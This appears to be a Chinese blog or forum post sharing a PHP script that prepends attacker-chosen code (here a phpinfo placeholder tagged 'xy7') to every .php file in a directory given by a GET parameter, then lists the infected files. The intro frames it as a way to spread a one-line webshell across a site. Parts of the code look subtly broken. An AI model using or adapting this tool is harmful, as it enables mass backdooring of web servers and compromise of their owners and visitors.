总是忘记一句话放到哪个文件里去了,直接全部干掉...
//xy7
if (!isset($dir) or empty($dir)) {
$dir=str_replace('\\','/',dirname(__file__));
echo "".$dir."";
} else {
$dir=$_get['dir'];
echo "".$dir."";
}
$evilcode="<?phpinfo ();//xy7?>";
$testdir = opendir($dir);
while($filea = @readdir($testdir)){
if(strstr($filea, '.php')){
$fp = @fopen($filea, 'r+');
if (!strstr(@fread($fp, 20), 'xy7')){
rewind($fp);
$old = @fread($fp, filesize($filea));
rewind($fp);
fwrite($fp, $evilcode . $old);
}
fclose($fp);
}
}
closedir($testdir);
?>
被x的文件 | 时间 | 大小 |
$dirs=@opendir($dir);
while ($file=@readdir($dirs)) {
if ((is_file($file)) and (ereg("\.php{0,1}$",$file)))
{$b="$dir/$file";
$a=@is_dir($b);
if($a=="0"){
$size=@filesize("$dir/$file");
$lastsave=@date("y-n-d h:i:s",filectime("$dir/$file"));
echo "
\n";echo "
$file\n";echo "
$lastsave\n";echo "
$size bytes\n";}
}
}
@closedir($dirs);
?>
codz by xuanmumu希望与广大网友互动??
点此进行留言吧!